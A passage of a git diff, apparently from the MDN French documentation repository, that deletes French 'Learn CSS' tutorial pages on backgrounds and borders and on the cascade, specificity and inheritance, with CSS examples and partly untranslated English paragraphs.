Si vous faites une erreur, vous pouvez toujours Réinitialiser l'exemple avec le bouton correspondant.

- - - -

{{ EmbedLiveSample('Playable_code', 700, 820) }}

- -

Résumé

- -

Nous espérons que vous avez trouvé cet article divertissant — s'amuser avec des jouets brillants l'est généralement et il est toujours intéressant de voir les types d'outils qui viennent d'être mis à disposition dans les navigateurs de pointe. Après avoir atteint la fin des articles sur les styles des boîtes, vous allez tester vos compétences en la matière avec nos évaluations.

- -

{{PreviousMenuNext("Learn/CSS/Styling_boxes/Styling tables", "Learn/CSS/Styling_boxes/Creating_fancy_letterheaded_paper", "Learn/CSS/Styling_boxes")}}

- -

 

- -

Dans ce module

- - diff --git a/files/fr/apprendre/css/building_blocks/backgrounds_and_borders/index.html b/files/fr/apprendre/css/building_blocks/backgrounds_and_borders/index.html deleted file mode 100644 index 53299b96fe..0000000000 --- a/files/fr/apprendre/css/building_blocks/backgrounds_and_borders/index.html +++ /dev/null @@ -1,318 +0,0 @@ ---- -title: Arrière-plans et bordures -slug: Apprendre/CSS/Building_blocks/Backgrounds_and_borders -translation_of: Learn/CSS/Building_blocks/Backgrounds_and_borders ---- -
{{LearnSidebar}}{{PreviousMenuNext("Learn/CSS/Building_blocks/The_box_model", "Learn/CSS/Building_blocks/Handling_different_text_directions", "Learn/CSS/Building_blocks")}}
- -

Dans cette leçon, nous verrons quelques unes des mises en forme créatives autorisées par les bordures et les arrière-plans CSS. On peut ajouter des dégradés, des images de fond, et des coins arrondis, les arrière-plans et les bordures répondent à de nombreux besoins de mise en forme CSS.

- - - - - - - - - - - - -
Prérequis:Compétences informatique basiques , logicels de base installés, connaissance simple en manipulation de fichiers, les bases du HTML (voir Introduction au HTML), et une esquisse du fonctionnement du CSS (voir premiers pas en CSS. )
Objectif:Apprendre comment mettre en forme l'arrière-plan et les bordures.
- -

Mettre en forme l'arrière-plan avec CSS

- -

La propriété CSS {{cssxref("background")}} est un raccourci pour une famille de propriétés concernant l'arrière-plan. Nous les explorons dans cette partie. On peut rencontrer dans une feuille de style des déclarations de la propriété background difficiles à analyser, tant le nombre de valeurs qu'on peut lui passer est important.

- -
.box {
-  background: linear-gradient(105deg, rgba(255,255,255,.2) 39%, rgba(51,56,57,1) 96%) center center / 400px 200px no-repeat,
-  url(big-star.png) center no-repeat, rebeccapurple;
-} 
-
- -

Nous reviendrons un peu plus loin sur le fonctionnement des raccourcis. Pour l'instant, passons en revue les propriétés CSS des arrière-plans.

- -

Couleur de fond

- -

La propriété {{cssxref("background-color")}} définit la couleur d'arrière-plan d'un élément HTML. La propriété accepte comme valeur n'importe quelle <color>. La background-color s'étend sous le contenu dans la zone de remplissage (padding box) de l'élément.

- -

Dans l'exemple ci-dessous, nous ajoutons des couleurs de fond à une boîte, un titre et un élément {{htmlelement("span")}}.

- -

Expérimentez avec ce code, en faisant varier les valeurs  <color> dans les différentes déclarations.

- -

{{EmbedGHLiveSample("css-examples/learn/backgrounds-borders/color.html", '100%', 800)}}

- -

Images de fond

- -

La propriété {{cssxref("background-image")}} permet d'afficher une image dans l'arrière-plan d'un élément. L'exemple ci-dessous montre deux boîtes — l'une avec une image de fond trop grande, l'autre avec comme fond une petite image représentant une étoile.

- -

Cet exemple illustre deux points concernant l'utilisation d'images de fond. Par défaut, une image trop large n'est pas redimensionnée pour correspondre aux dimension de la boîte, on n'en voit qu'un coin, alors qu'un image de fond ne remplissant pas la boîte sera automatiquement répétée en pavage pour occuper tout l'espace disponible. Dans l'exemple, l'image d'origine est juste une étoile.

- -

{{EmbedGHLiveSample("css-examples/learn/backgrounds-borders/background-image.html", '100%', 800)}}

- -

Si on spécifie une couleur de fond en plus de l'image de fond, l'image s'affiche par dessus la couleur. Expérimentez ce comportement en ajoutant une propriété background-color dans l'exemple ci-dessus.

- -

Contrôler le background-repeat

- -

La propriété {{cssxref("background-repeat")}} permet de contrôler la répétition d'image pour former des pavages. Les valeurs possibles sont :

- - - -

Expérimentez l'effet de ces valeurs dans l'exemple ci-dessous. La valeur est fixée à  no-repeat, une seule étoile apparaît donc. Remplacez par repeat-x et repeat-y  et observez.

- -

{{EmbedGHLiveSample("css-examples/learn/backgrounds-borders/repeat.html", '100%', 800)}}

- -

Dimensionner l'image de fond

- -

Dans l'exemple ci-dessus on voit qu'une image d'arrière-plan est recadrée quand elle dépasse de l'élément dont elle est le fond. Dans un tel cas, la propriété {{cssxref("background-size")}} — avec comme valeur une  longueur ou un pourcentage, permet d'adapter l'image à l'élément pour en occuper tout le fond.

- -

On peut aussi utiliser les mots-clé :

- - - -

Dans l'exemple ci-dessous, l'image trop grande vue plus haut est retaillée aux dimensions de la boîte en précisant les valeurs numériques des côtés. On voit comment cela a déformé l'image.

- -

Essayez ce qui suit :

- - - -

{{EmbedGHLiveSample("css-examples/learn/backgrounds-borders/size.html", '100%', 800)}}

- -

Positionner l'image de fond

- -

La propriété {{cssxref("background-position")}} permet de choisir la position de l'arrière-plan à l'intérieur de la boîte dans laquelle il est appliqué. On utilise pour cela un système de coordonnées avec l'origine (0,0) au coin en haut à gauche de la boîte, l'axe (x) étant horizontal, l'axe (y) vertical.

- -
-

Note : La valeur par défaut de  background-position est (0,0).

-
- -

Les valeurs les plus communes pour background-position se présentent sous la forme d'un couple — une valeur horizontale suivie d'une valeur verticale.

- -

Vous pouvez utiliser les mots-clé tels que top et right (vous trouverez les autres valeurs possibles sur la page {{cssxref("background-image")}}):

- -
.box {
-  background-image: url(star.png);
-  background-repeat: no-repeat;
-  background-position: top center;
-} 
-
- -

Et Longueurs, ou pourcentages :

- -
.box {
-  background-image: url(star.png);
-  background-repeat: no-repeat;
-  background-position: 20px 10%;
-} 
-
- -

On peut utiliser simultanément mots-clé, dimensions et pourcentages, par exemple :

- -
.box {
-  background-image: url(star.png);
-  background-repeat: no-repeat;
-  background-position: top 20px;
-}
- -

La syntaxe à quatre valeurs enfin permet d'indiquer la distance depuis certains bords de la boîte — dans ce cas, la longueur correspond à un décalage par rapport à la valeur précédene. Par exemple dans le CSS ci-dessous on positionne l'arrière-plan à 20px du haut et à 10px de la droite : 

- -
.box {
-  background-image: url(star.png);
-  background-repeat: no-repeat;
-  background-position: top 20px right 10px;
-}
- -

Dans l'exemple ci-dessous, modifiez les valeurs pour déplacer l'étoile à l'intérieur de la boîte.

- -

{{EmbedGHLiveSample("css-examples/learn/backgrounds-borders/position.html", '100%', 800)}}

- -
-

Note : background-position est un raccourci pour{{cssxref("background-position-x")}} et {{cssxref("background-position-y")}}, qui permettent de fixer individuellement les positions sur chaque axe.

-
- -

Arrière-plan dégradé

- -

Un dégradé — quand on l'utilise pour arrière-plan — se comporte comme une image, il se paramètre aussi avec la propriété {{cssxref("background-image")}}.

- -

Vous en apprendrez plus sur les différents types de dégradés et tout ce qu'on peut faire avec sur la page MDN consacrée au type <gradient>. Une manière amusante de découvrir les dégradés est d'utiliser l'un des nombreux générateurs de dégradés CSS disponibles en ligne, par exemple celui là. Créez votre dégradé puis copiez-collez le code source qui l'a généré.

- -

Essayez différents dégradés dans l'exemple ci-dessous. Dans les deux boîtes on trouve respectivement un dégradé linéaire étendu sur toute la boîte et un dégradé circulaire de taille donné, qui du coup se répète.

- -

{{EmbedGHLiveSample("css-examples/learn/backgrounds-borders/gradients.html", '100%', 800)}}

- -

 Images de fond multiples

- -

Il est aussi possible d'ajouter plusieurs images en arrière-plan — il suffit de spécifier plusieurs valeurs pour background-image , chacune séparé par une virgule.

- -

Quand vous faîtes cela, il est possible de se retrouver avec plusieurs arrière-plans qui se chevauchent. Les arrière-plans se superposeront les uns sur les autres, avec le dernier se retrouvant sur le dessus, chacun suivant à leur tour, jusqu'au premier.

- -
-

Note : on peut joyeusement mélanger gradients et images de fond classiques.

-
- -

Les autres propriété background-* peuvent aussi avoir une série de valeurs séparées de virgules, de la même manière que  background-image:

- -
background-image: url(image1.png), url(image2.png), url(image3.png), url(image1.png);
-background-repeat: no-repeat, repeat-x, repeat;
-background-position: 10px 20px,  top right;
- -

Chaque valeur des différentes propriétés va correspondre aux valeurs placées à la même position dans les autres propriétés. Au dessus, par exemple, la valeur background-repeat de l' image1 sera no-repeat. Cependant, qu'arrive-t-il quand différentes propriétés ont différents nombres de valeurs? La réponse est que s'il y a moins de valeurs, elles seront réutilisées — dans l'exemple au-dessus il y a quatre images de fond mais seulement deux valeurs background-position. Les deux premières valeurs seront appliquées aux deux premières images, puis elles seront réutilisées pour les images suivantes — l' image3 recevra la première valeur, et l' image4 recevra la seconde valeur.

- -

Jouons un peu. Dans l'exemple ci-dessous j'ai inclus deux images. To demonstrate the stacking order, try switching which background image comes first in the list. Or play with the other properties to change the position, size, or repeat values.

- -

{{EmbedGHLiveSample("css-examples/learn/backgrounds-borders/multiple-background-image.html", '100%', 800)}}

- -

Attachement du fond

- -

Une autre option que nous avons à notre disposition pour les arrières-plans est de spécifier comment ils défilent quand le contenu défile lui-même. C'est contrôlé grâce à la propriété {{cssxref("background-attachment")}} , qui peut prendre ces valeurs:

- - - -

The {{cssxref("background-attachment")}} property only has an effect when there is content to scroll, so we've made a demo to demonstrate the differences between the three values — have a look at background-attachment.html (also see the source code here).

- -

Utiliser la propriété raccourci background 

- -

As I mentioned at the beginning of this lesson, you will often see backgrounds specified using the {{cssxref("background")}} property. This shorthand lets you set all of the different properties at once.

- -

If using multiple backgrounds, you need to specify all of the properties for the first background, then add your next background after a comma. In the example below we have a gradient with a size and position, then an image background with no-repeat and a position, then a color.

- -

There are a few rules that need to be followed when writing background image shorthand values, for example:

- - - -

Take a look at the MDN page for {{cssxref("background")}} to see all of the considerations.

- -

{{EmbedGHLiveSample("css-examples/learn/backgrounds-borders/background.html", '100%', 800)}}

- -

Arrière-plans et accessibilité

- -

Quand on place un texte sur une image ou une couleur de fond, il faut s'assurer d'un contraste suffisant pour une bonne lisibilité. Quand un texte est écrit par-dessu une image, déclarez toujours une background-color qui rendra le texte lisible si l'image n'est pas chargée.

- -

Les lecteurs d'écran ne traitent pas les images de fond, elles ne doivent donc pas être autre chose que décoratives ; tout contenu important doit faire partie de la page HTML et pas de la mise en forme du fond.

- -

Bordures

- -

When learning about the Box Model, we discovered how borders affect the size of our box. In this lesson we will look at how to use borders creatively. Typically when we add borders to an element with CSS we use a shorthand property that sets the color, width, and style of the border in one line of CSS.

- -

We can set a border for all four sides of a box with {{cssxref("border")}}:

- -
.box {
-  border: 1px solid black;
-}
- -

Or we can target one edge of the box, for example:

- -
.box {
-  border-top: 1px solid black;
-}
- -

The individual properties for these shorthands would be:

- -
.box {
-  border-width: 1px;
-  border-style: solid;
-  border-color: black;
-}
- -

And for the longhands:

- -
.box {
-  border-top-width: 1px;
-  border-top-style: solid;
-  border-top-color: black;
-}
- -
-

Note : These top, right, bottom, and left border properties also have mapped logical properties which relate to the writing mode of the document (e.g. left-to-right or right-to-left text, or top-to-bottom). We'll be exploring these in the next lesson, which covers handling different text directions.

-
- -

There are a variety of styles that you can use for borders. In the example below we have used a different border style for the four sides of my box. Play with the border style, width, and color to see how borders work.

- -

{{EmbedGHLiveSample("css-examples/learn/backgrounds-borders/borders.html", '100%', 800)}}

- -

Coins arrondis

- -

On peut arrondir les coins d'une boîte avec la propriété {{cssxref("border-radius")}}  and associated longhands which relate to each corner of the box. Two lengths or percentages may be used as a value, the first value defining the horizontal radius, and the second the vertical radius. In a lot of cases you will only pass in one value, which will be used for both.

- -

Par exemple, Pour donner par exemple un rayon de  10px à chacun des quatre coins :

- -
.box {
-  border-radius: 10px;
-}
- -

Ou de donner au coin en haut à droite un rayon horizontal de 1em et un rayon vertical de 10% :

- -
.box {
-  border-top-right-radius: 1em 10%;
-}
- -

Dans l'exemple ci-dessus, nous avons d'abord fixé la valeur pour les quatre coins, puis modifié celle du coin en haut à droite. Vous pouvez jouer avec les différentes valeurs pour changer le rendu des coins. Jettez un œil à la page de documentation de {{cssxref("border-radius")}}, vous y trouverez la syntaxe pour les différentes options.

- -

{{EmbedGHLiveSample("css-examples/learn/backgrounds-borders/corners.html", '100%', 800)}}

- -

Jouer avec les arrière-plans et les bordures

- -

Testons vos nouvelles connaissances : en partant  de l'exemple fourni plus bas :

- -
    -
  1. Donnez au bloc une bordure en trait plein noir de 5px de large, avec des coins arrondis de 10px.
    2. -
  2. Ajouter une image de fond (utiliser l'URL balloons.jpg) à redimensionner pour qu'elle recouvre la boîte.
    3. -
  3. Donnez au <h2> une couleur de fond noire semi-transparente, avec un texte en blanc.
    4. -
- -

{{EmbedGHLiveSample("css-examples/learn/backgrounds-borders/task.html", '100%', 800)}}

- -
-

Note : Vous pouvez jeter un œil à la solution ici — mais essayez d'abord de la trouver par vous-même !

-
- -

Résumé

- -

Nous avons vu beaucoup de choses dans cette leçon, ajouter un arrière-plan à une boîte ou  une bordure n'est pas si simple. N'hésitez pas à explorer les pages de référence des propriétés rencontrées si vous voulez creuser les points évoqués ici. Chaque page sur MDN vous proposera de nouveaux exemples sur lesquels vous pourrez continuer à vous entraîner et renforcer vos connaissances.

- -

Dans la leçon suivante nous découvrirons comment le mode d'écriture de votre document interagit avec CSS. Que se passe-t-il quand le texte ne se déroule pas de la gauche vers la droite ?

- -

{{PreviousMenuNext("Learn/CSS/Building_blocks/The_box_model", "Learn/CSS/Building_blocks/Handling_different_text_directions", "Learn/CSS/Building_blocks")}}

- -

Dans ce cours

- -
    -
  1. Cascade and inheritance
    2. -
  2. CSS selectors - -
    3. -
  3. The box model
    4. -
  4. Backgrounds and borders
    5. -
  5. Handling different text directions
    6. -
  6. Overflowing content
    7. -
  7. Values and units
    8. -
  8. Sizing items in CSS
    9. -
  9. Images, media, and form elements
    10. -
  10. Styling tables
    11. -
  11. Debugging CSS
    12. -
  12. Organizing your CSS
    13. -
diff --git a/files/fr/apprendre/css/building_blocks/cascade_et_heritage/index.html b/files/fr/apprendre/css/building_blocks/cascade_et_heritage/index.html deleted file mode 100644 index 4f394ae7f2..0000000000 --- a/files/fr/apprendre/css/building_blocks/cascade_et_heritage/index.html +++ /dev/null @@ -1,343 +0,0 @@ ---- -title: Cascade et héritage -slug: Apprendre/CSS/Building_blocks/Cascade_et_heritage -tags: - - Apprendre - - CSS - - Cascade - - Débutant - - Héritage - - Règles - - ordre dans le source - - spécificité -translation_of: Learn/CSS/Building_blocks/Cascade_and_inheritance ---- -
{{LearnSidebar}}{{NextMenu("Learn/CSS/Building_blocks/Selectors", "Learn/CSS/Building_blocks")}}
- -

Le but de cette leçon est de développer votre compréhension des concepts les plus fondamentaux du CSS — la cascade, la spécificité et l'héritage — qui contrôlent la manière dont le CSS est appliqué au HTML et la manière dont les conflits sont résolus.

- -

Bien que cette leçon puisse sembler moins pertinente dans l'immédiat et un peu plus académique que d'autres parties du cours, la compréhension de ces éléments vous épargnera bien des soucis plus tard ! Nous vous conseillons de parcourir attentivement cette section et de vérifier que vous avez bien compris les concepts avant de passer à la suite.

- - - - - - - - - - - - -
Prérequis :Maîtrise élémentaire de l'informatique, suite logicielle de base installée, compétences élémentaires pour travailler avec des fichiers, connaissance de base du HTML  (cf. Introduction à HTML), et une idée de Comment fonctionne CSS.
Objectif :Découvrir la cascade et la spécificité, et comment l'héritage fonctionne en CSS.
- -

Règles contradictoires

- -

CSS est l'acronyme de Cascading Style Sheets, qu'on peut traduire par feuilles de style en cascade et la compréhension de ce premier mot cascading est cruciale — la façon dont la cascade se comporte est la clé de la compréhension du CSS.

- -

À un moment donné, vous travaillerez sur un projet et vous constaterez que le CSS que vous pensiez appliquer à un élément ne fonctionne pas. En général, le problème est que vous avez créé deux règles qui pourraient potentiellement s'appliquer au même élément. La cascade, et le concept étroitement lié de spécificité, sont des mécanismes qui contrôlent quelle règle s'applique lorsqu'il y a un tel conflit. La règle qui régit votre élément n'est peut-être pas celle à laquelle vous vous attendiez, vous devez donc comprendre comment ces mécanismes fonctionnent.

- -

Le concept d'héritage est aussi à garder en tête dans ces situations : certaines propriétés CSS par défaut héritent de la valeur donnée à l'élément parent de l'élément courant, d'autres non. Cela peut être à l'origine de comportements inattendus.

- -

Commençons par examiner rapidement les éléments clés dont il est question, puis examinons chacun d'eux à tour de rôle et voyons comment ils interagissent entre eux et avec votre CSS. Cela peut sembler être un ensemble de concepts difficiles à comprendre. Cependant, à mesure que vous vous entraînerez à écrire des CSS, la façon dont ils fonctionnent deviendra plus évidente pour vous.

- -

La cascade

- -

À un niveau élémentaire, la cascade des styles signifie que l'ordre d'apparition des règles dans le CSS a une importance ; quand deux règles applicables ont la même spécificité, c'est la dernière déclarée qui sera utilisée pour la mise en forme.

- -

Dans l'exemple ci-dessous deux règles pourraient s'appliquer à h1. Au final h1 est coloré en bleu — ces règles ont les mêmes sélecteurs, elles ont donc la même spécificité ; dans ce cas, c'est la règle écrite en dernier dans le CSS qui l'emporte.

- -

{{EmbedGHLiveSample("css-examples/learn/cascade/cascade-simple.html", '100%', 400)}} 

- -

Spécificité

- -

Quand des règles avec des sélecteurs différents s'appliquent sur un même élément, le navigateur choisit la règle qui a la plus grande spécificité. La spécificité mesure essentiellement combien la sélection est précise :

- - - -

Voyons cela sur un exemple. Ci-dessous, on retrouve deux règles qui pourraient s'appliquer à h1. Au final h1 est coloré en rouge — le sélecteur de classe donne une plus grande spécificité à sa règle, et du coup c'est cette règle qui est choisie même si elle apparaît plus tôt dans le CSS.

- -

{{EmbedGHLiveSample("css-examples/learn/cascade/specificity-simple.html", '100%', 500)}} 

- -

Nous expliquerons le score de spécificité et d'autres points reliés un peu plus loin.

- -

Héritage

- -

L'héritage est lui aussi à comprendre dans ce contexte — certaines valeurs pour une propriété CSS se transmettent des éléments parents vers leurs enfants, d'autres non.

- -

Par exemple, si vous fixez une color et une font-family pour un élément, tout élément contenu dans le premier sera mis en forme avec la même couleur et la même police, à moins qu'on lui ait appliqué directement des règles.

- -

{{EmbedGHLiveSample("css-examples/learn/cascade/inheritance-simple.html", '100%', 550)}} 

- -

Certaines propriétés ne se transmettent pas — par exemple si vous attribuez un {{cssxref("width")}} de 50% à un élément, aucun de ses descendants n'aura une largeur diminuée de moitié par rapport à celle de son parent. Si c'était le cas, l'usage de CSS serait particulièrement frustrant !

- -
-

Note : Sur MDN, dans les pages de référence des propriétés CSS, vous trouverez des encarts d'information technique, le plus souvent au pied de la section de spécifications, dans lesquels sont listés nombre de données sur la propriété, notamment si elle est héritée ou non. Voir la section des spécifications de la propriété color, par exemple.

-
- -

Comprendre comment ces concepts se combinent

- -

Ces trois concepts combinés permettent de décider dans tous les cas quelle règle CSS s'applique à quel élément ; dans les sections ci-dessous nous les verrons en action, ensemble. Cela peut parfois sembler compliqué, mais avec l'expérience les choses vous sembleront plus claires, et de toute façon, si vous oubliez, vous pourrez toujours retrouver tous les détails ici !

- -

Comprendre l'héritage

- -

Commençons par l'héritage. Dans l'exemple ci-dessous nous avons un  {{HTMLElement("ul")}}, contenant plusieurs niveaux de listes imbriquées. Nous avons spécifié une bordure, un remplissage (padding) et une couleur de police pour la <ul> extérieure.

- -

La couleur est transmise aux enfants directs, et aussi enfants indirects — les <li> de la première liste, et ceux de la première liste de deuxième niveau. Nous avons ensuite ajouté une classe special à la seconde liste imbriquée et nous lui appliquons une autre couleur. Cette dernière est transmise aux descendants.

- -

{{EmbedGHLiveSample("css-examples/learn/cascade/inheritance.html", '100%', 700)}} 

- -

Les propriétés telles que largeur (comme mentionnée plus haut), marges, remplissage, et bordures ne se transmettent pas par héritage. Si les bordures se transmettaient aux enfants de la liste, on obtiendrait un effet étrange !

- -

Dans la plupart des cas, le sens commun permet de comprendre quelles propriétés sont héritées par défaut et quelles propriétés ne se transmettent pas.

- -

Contrôler l'héritage

- -

CSS propose quatre valeurs spéciales universelles pour contrôler l'héritage. Ces valeurs sont applicables à toute propriété CSS.

- -
-
{{cssxref("inherit")}}
-
La propriété correspondante prend la valeur définie dans l'élément parent. Dans les faits, cela "active l'héritage".
-
{{cssxref("initial")}}
-
La propriété correspondante prend la valeur par défaut définie dans la feuille de style du navigateur. Si aucune valeur n'est définie par défaut dans le navigateur et que la propriété est transmise par héritage la propriété est redéfinie à inherit.
-
{{cssxref("unset")}}
-
Redéfinit la propriété à sa valeur naturelle : si la propriété est transmise par héritage, le comportement est le même que  inherit, sinon il est identique à initial.
-
- -
-

Note : Il existe aussi la valeur {{cssxref("revert")}}, dont le support par les navigateurs est limité.

-
- -
-

Note : Voir {{SectionOnPage("/en-US/docs/Web/CSS/Cascade", "Origin of CSS declarations")}} pour plus d'informations sur chacune de ces valeurs et comment elles fonctionnent.

-
- -

Voyons maintenant comment les valeurs universelles fonctionnent sur un exemple : une liste de liens. Dans l'exemple live ci-dessous, vous pourrez manipuler CSS et observer directement les effets de vos modifications. Jouer avec le code est vraiment le meilleur moyen pour progresser en HTML et CSS.

- -

Par exemple :

- -
    -
  1. Le deuxième item de la liste est dans la classe my-class-1. Cela définit la couleur de l'élément <a> qu'il contient à inherit. Si vous supprimez cette règle, quelle est la couleur du lien ?
    2. -
  2. Comprenez vous pourquoi les troisième et quatrième liens sont de la couleur qu'ils sont ? Dans la négative, relisez la description des valeurs spéciales ci-dessus.
    3. -
  3. Quels liens changeront de couleur si on redéfinit la couleur de l'élément  <a> — par exemple a { color: red; } ?
    4. -
- -

{{EmbedGHLiveSample("css-examples/learn/cascade/keywords.html", '100%', 700)}} 

- -

Réinitialiser la valeur de toutes les propriétés

- -

En CSS, la propriété raccourci all peut être utilisée pour appliquer l'une des valeurs d'héritage à (presque) toutes les propriétés d'un coup. Elle peut prendre n'importe laquelle des valeurs d'héritage (inherit, initial, unset, ou revert). C'est un moyen pratique d'annuler les modifications apportées aux styles pour revenir à un point de départ connu avant de commencer de nouvelles modifications.

- -

Dans l'exemple ci-dessous, nous avons deux blocs de citations. Pour le premier, un style est appliqué à l'élément <blockquote> lui-même, le second <blockquote> appartient à une classe qui définit la valeur de all à unset.

- -

{{EmbedGHLiveSample("css-examples/learn/cascade/all.html", '100%', 700)}} 

- -

Essayez de donner à all l'une des autres valeurs possibles et observez les changements.

- -

Comprendre la cascade

- -

Nous comprenons maintenant pourquoi un paragraphe imbriqué profondément dans la structure du code HTML a la même couleur que le <body>, et à partir des parties précédentes, nous comprenons comment changer la mise en forme d'un élément où qu'il soit dans le document — que ce soit par un sélecteur de type ou en créant une classe. Nous allons maintenant examiner comment la cascade détermine la règle CSS qui s'applique quand plusieurs règles ciblent le même élément.

- -

Il y a trois facteurs à prendre en compte, listés ci-dessous par ordre décroissant d'importance. Les premiers critères prennent le dessus sur ceux qui viennent après :

- -
    -
  1. Importance
    2. -
  2. Spécificité
    3. -
  3. Ordre d'apparition dans le source
    4. -
- -

Passons les en revue en partant de la fin, pour voir comment les navigateurs déterminent quel CSS doit être appliqué.

- -

Ordre d'apparition dans le source 

- -

Nous avons déjà vu comment l'ordre d'apparition dans le source compte dans la cascade. Si deux règles avec le même poids s'appliquent alors celle qui vient en dernier dans le CSS l'emporte. L'intuition est la suivante : plus on avance dans le CSS plus on s'approche de l'élément ciblé ; quand une règle le sélectionne, elle écrase la précédente jusqu'à la dernière règle rencontrée dans le source qui l'emporte et met en forme l'élément..

- -

Spécificité

- -

L'ordre des règles dans le source est important. On rencontre pourtant des situations où deux règles ciblent le même élément mais c'est la première écrite dans le source qui s'applique. C'est que la première règle a une spécificité plus élevée —  elle est plus spécifique, elle est donc choisie par le navigateur pour mettre en forme l'élément.

- -

Comme nous l'avons vu plus haut dans cette leçon, un sélecteur de classe a plus de poids qu'un sélecteur d'élément, de sorte que les propriétés définies sur la classe remplaceront celles appliquées directement à l'élément.

- -

Un point important à noter : dans la cascade, on pourrait penser qu'une règle postérieure écrase une règle antérieure. En fait, ce n'est pas la règle toute entière qui est écrasée, mais seulement les propriétés communes aux deux règles qui sont redéfinies par la dernière version rencontrée.

- -

Ce comportement permet d'éviter la répétition dans votre CSS. Une pratique courante consiste à définir des styles génériques pour les éléments de base, puis à créer des classes pour les cas particuiers. Par exemple, dans la feuille de style ci-dessous, nous avons défini des styles génériques pour les titres de niveau 2, puis créé des classes qui ne modifient que certaines des propriétés et valeurs. Les valeurs définies initialement sont appliquées à tous les titres, puis les valeurs plus spécifiques sont appliquées seulement aux titres avec l'attribut classe.

- -

{{EmbedGHLiveSample("css-examples/learn/cascade/mixing-rules.html", '100%', 700)}} 

- -

Voyons maintenant comment le navigateur calcule la spécificité. Nous savons déjà qu'un sélecteur d'élément a une faible spécificité et peut être écrasé par une classe. Essentiellement, une valeur en points est attribuée à différents types de sélecteurs, et leur addition donne le poids de ce sélecteur particulier, qui peut ensuite être évalué par rapport à d'autres correspondances potentielles.

- -

Le score de spécificité d'un sélecteur est codé par quatre valeurs (ou composants) différentes, qui peuvent être considérées comme des milliers, des centaines, des dizaines et des unités — quatre chiffres simples dans quatre colonnes :

- -
    -
  1. Milliers : ajouter 1 dans cette colonne si la déclaration apparaît dans un  {{htmlattrxref("style")}} , (style inline). De telles déclarations n'ont pas de sélecteurs, leur spécificité est toujours simplement 1000.
    2. -
  2. Centaines : ajouter 1 dans cette colonne pour chaque sélecteur d'ID contenu à l'intérieur du sélecteur global.
    3. -
  3. Dizaines : ajouter 1 dans cette colonne pour chaque sélecteur de classe, d'attribut ou de pseudo-classe contenu à l'intérieur du sélecteur global.
    4. -
  4. Unités : ajouter 1 dans cette colonne pour chaque sélecteur d'élément ou pseudo-élément contenu à l'intérieur du sélecteur global.
    5. -
- -
-

Note : Le sélecteur  universel (*), les combinateurs (+, >, ~, ' '), et la pseudo-class de négation (:not) n'affectent en rien la spécificité.

-
- -

Le tableau suivant montre quelques exemples isolés pour vous mettre dans l'ambiance. Assurez-vous de comprendre dans chaque cas la spécificité annoncée. Nous n'avons pas encore couvert les sélecteurs en détail, mais vous pouvez trouver les informations à propos de chaque sélecteur sur la référence MDN des sélecteurs.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SélecteurMilliersCentainesDizainesUnitésSpécificité
h100010001
h1 + p::first-letter00030003
li > a[href*="fr"] > .inline-warning00220022
#identifiant01000100
pas de sélecteurs, la règle est déclarée dans l'attribut {{htmlattrxref("style")}} d'un élément 10001000
- -

Avant de continuer, regardons un exemple en action.

- -

{{EmbedGHLiveSample("css-examples/learn/cascade/specificity-boxes.html", '100%', 700)}} 

- -

Alors qu'est-ce qui se passe ici ? Tout d'abord, nous ne sommes intéressés que par les sept premières règles de cet exemple, et comme vous le remarquerez, nous avons inclus leurs valeurs de spécificité dans un commentaire avant chacune.

- - - -
-

Note : Cet exemple est simplificateur. En fait, chaque type de sélecteur voit sa spécificité comptée à un niveau qui lui est propre, qui ne peut pas être dépassé par des sélecteurs d'un type avec une spécificité moindre. Par exemple, un million de sélecteurs de class combinés ne prendront jamais le dessus sur un sélecteur d'id.

- -

Une manière plus précise d'évaluer la spécificité serait de noter individuellement les niveaux de spécificité en commençant par le plus élevé et en passant au plus bas si nécessaire. Ce n'est que lorsqu'il existe un lien entre les scores des sélecteurs au sein d'un niveau de spécificité que vous devez évaluer le niveau suivant ; sinon, vous pouvez ignorer les sélecteurs de niveau de spécificité inférieur car ils ne peuvent jamais écraser les niveaux de spécificité supérieurs.

-
- -

!important

- -

Vous pouvez annuler tous les calculs ci-dessus à l'aide de la valeur CSS spéciale  !important mais vous devez être très prudent avec son utilisation. Ce mot-clé est utilisé pour donner la plus grande spécificité à la propriété à laquelle il s'applique, remplaçant ainsi les règles normales de la cascade.

- -

Jetez un œil à cet exemple : nous avons deux paragraphes, dont l'un a un ID.

- -

{{EmbedGHLiveSample("css-examples/learn/cascade/important.html", '100%', 700)}} 

- -

Regardons ça d'un peu plus près pour mieux comprendre — si vous avez du mal à suivre, supprimez telle ou telle déclaration pour voir ce qui se passe.

- -
    -
  1. Vous verrez que les valeurs de couleur et de remplissage de la troisième règle ont été appliquées, mais pas la couleur d'arrière-plan. Pourquoi ? On pourrait penser que les trois déclarations s'appliquent, puisque la règle en question, venant plus tard dans le code source, prend le dessus sur les règles antérieures.
    2. -
  2. Mais rappelez vous, les sélecteurs de classe sont plus spécifiques !
    3. -
  3. Les deux éléments sont dans la classe better, mais le deuxième a aussi l'{{htmlattrxref("id")}}  winning. Étant donné que les ID ont une spécificité encore plus élevée que les classes (sur une page, pour une ID donnée, il y a un seul élément,  alors qu'on peut trouver de nombreux éléments dans la même classe — les sélecteurs d'ID sont donc très spécifiques dans ce qu'ils ciblent), le deuxième élément aura une couleur d'arrière-plan rouge et une bordure noire de 1 px ; pour le premier élément, la couleur d'arrière-plan sera grise, sans bordure, comme spécifié par la classe.
    4. -
  4. Le deuxième élément a un arrière-plan rouge, mais pas de bordure. Pourquoi ? En raison de la déclaration !important dans la deuxième règle — écrit après  border: none,  ce mot-clé signifie que cette déclaration l'emporte sur le border définie dans la règle précédente, même si l'ID a une spécificité plus élevée.
    5. -
- -
-

Note : La seule façon de dépasser cette déclaration  !important serait d'ajouter un !important dans une déclaration de même spécificité apparaissant plus bas dans l'ordre du source, ou avec une spécificité plus grande.

-
- -

Il est utile de connaître  !important , ne serait-ce que pour le reconnaître dans le code des autres. Cependant, nous vous recommandons fortement de ne jamais l'utiliser, sauf en dernier recours. !important modifie le fonctionnement normal de la cascade, de sorte qu'il peut être très difficile de résoudre les problèmes de débogage CSS, en particulier dans une grande feuille de style.

- -

Lorsque vous travaillez sur un CMS où vous ne pouvez pas modifier les modules CSS de base et que vous souhaitez malgré tout remplacer un style, vous serez peut être amené à utiliser !important. Mais vraiment, si vous pouvez l'éviter, ne l'utilisez pas.

- -

Où sont écrites les règles CSS

- -

